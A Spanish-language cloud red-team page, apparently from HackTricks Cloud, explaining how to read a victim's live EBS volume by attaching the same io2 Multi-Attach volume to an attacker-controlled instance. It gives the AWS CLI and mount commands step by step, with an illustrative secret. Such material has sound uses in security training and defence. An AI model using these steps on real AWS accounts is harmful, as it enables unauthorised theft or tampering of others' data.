AWS - Live Data Theft via EBS Multi-Attach
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen
Abusar de EBS Multi-Attach para leer desde un volumen de datos io1/io2 en vivo adjuntando el mismo volumen a una instancia controlada por el atacante en la misma Availability Zone (AZ). Montar el volumen compartido en modo read-only permite acceso inmediato a archivos en uso sin crear snapshots.
Requisitos
- Volumen objetivo: io1 o io2 creado con
--multi-attach-enableden la misma AZ que la instancia del atacante. - Permisos:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancessobre el volumen/instancias objetivo. - Infraestructura: tipos de instancia basados en Nitro que soportan Multi-Attach (familias C5/M5/R5, etc.).
Notas
- Montar en read-only con
-o ro,noloadpara reducir el riesgo de corrupción y evitar replays del journal. - En instancias Nitro, el dispositivo EBS NVMe expone una ruta estable
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...(ayuda más abajo).
Preparar un volumen io2 con Multi-Attach y adjuntarlo a la víctima
Ejemplo (crearlo en us-east-1a y adjuntarlo a la víctima):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
En la víctima, formatea/monta el nuevo volumen y escribe datos sensibles (ilustrativo):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Adjuntar el mismo volumen a la attacker instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Montar en modo de solo lectura en el attacker y leer datos
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Resultado esperado: El mismo VOL_ID muestra múltiples Attachments (víctima y atacante) y el atacante puede leer archivos escritos por la víctima sin crear ningún snapshot.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Ayuda: encontrar la ruta del dispositivo NVMe por Volume ID
En instancias Nitro, usa la ruta by-id estable que incorpora el Volume ID (quita el guion después de vol):
Impacto
- Acceso de lectura inmediato a los datos en tiempo real del volumen EBS objetivo sin generar snapshots.
- Si está montado read-write, el atacante puede manipular el filesystem de la víctima (riesgo de corrupción).
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

